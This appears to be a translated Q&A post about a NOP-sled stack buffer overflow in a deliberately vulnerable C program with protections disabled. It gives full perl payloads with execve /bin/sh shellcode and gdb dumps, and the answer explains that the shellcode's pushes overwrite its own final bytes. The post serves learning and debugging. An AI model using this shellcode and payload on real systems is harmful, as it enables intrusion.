我正在学习缓冲区溢出(仅出于教育目的),并且在尝试使用NOP滑动技术来执行Shellcode时,出现了一些有关为何有时不执行Shellcode的问题。
我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0。,禁用ASLR)
$sum
如下:#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
。
然后,我想到了gcc -g -o main main.c -fno-stack-protector -z execstack
,gdb main
和
b 9
上面的字符串由run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
组成。我根据NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address
行的输出选择了返回地址。 (注意:明确地说,上面的十六进制代码在x86_x64中打开一个shell)。
从以下输出中可以看出,缓冲区按预期方式溢出。
printf
从这里继续确实打开了外壳。但是,当我使用以下内容作为参数时(唯一的区别是我将(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
替换为\x90"x15
,将\x90"x16
替换为\x90"x8
)
\x90"x7
我知道
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
对我来说看起来不错(与上面相同,除了反映了参数的变化),尽管这次我继续
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
并且没有打开外壳。
编辑: 我添加了反汇编的shellcode:
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
答案 0 :(得分:3)
Jester的猜测是关于我的第二个示例的shellcode的push
操作覆盖了shell代码远端的指令是正确的:
设置SIGILL
并重复第二个示例后,在收到set disassemble-next-line on
后检查当前指令
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
以前位于此地址的NOP(90
)已被ff
覆盖。
这是怎么发生的?再次重复第二个示例,并另外设置b 8
。此时,缓冲区尚未溢出。
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从0x7fffffffd8f8
开始的字节包含离开function
函数后将返回的地址。然后,该0x7fffffffd8f8
地址也将是堆栈将再次从中继续增长的地址(将存储前8个字节)。实际上,继续使用gdb并使用si
命令表明,在shellcode的第一条push
指令之前,堆栈指针指向0x7fffffffd900
:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
...,当执行push
指令时,字节存储在地址0x7fffffffd8f8
中:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
继续此操作,您可以看到在shellcode的最后一条push
指令之后,push
的内容被压入了堆栈中的地址0x7fffffffd8e8
:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
但是,这也是syscall
指令的最后一个字节的存储位置(有关第二个示例,请参见问题中的x/80bx buff
输出)。因此,无法成功执行syscall和shellcode。在第一个示例中不会发生这种情况,因为这之后被压入堆栈的字节一直增长到shellcode的末尾(不覆盖字节):8个NOP("\x90"x8
)的8个字节+ 8个字节保存的基本指针+返回地址的8个字节为3 push
个操作提供了足够的空间。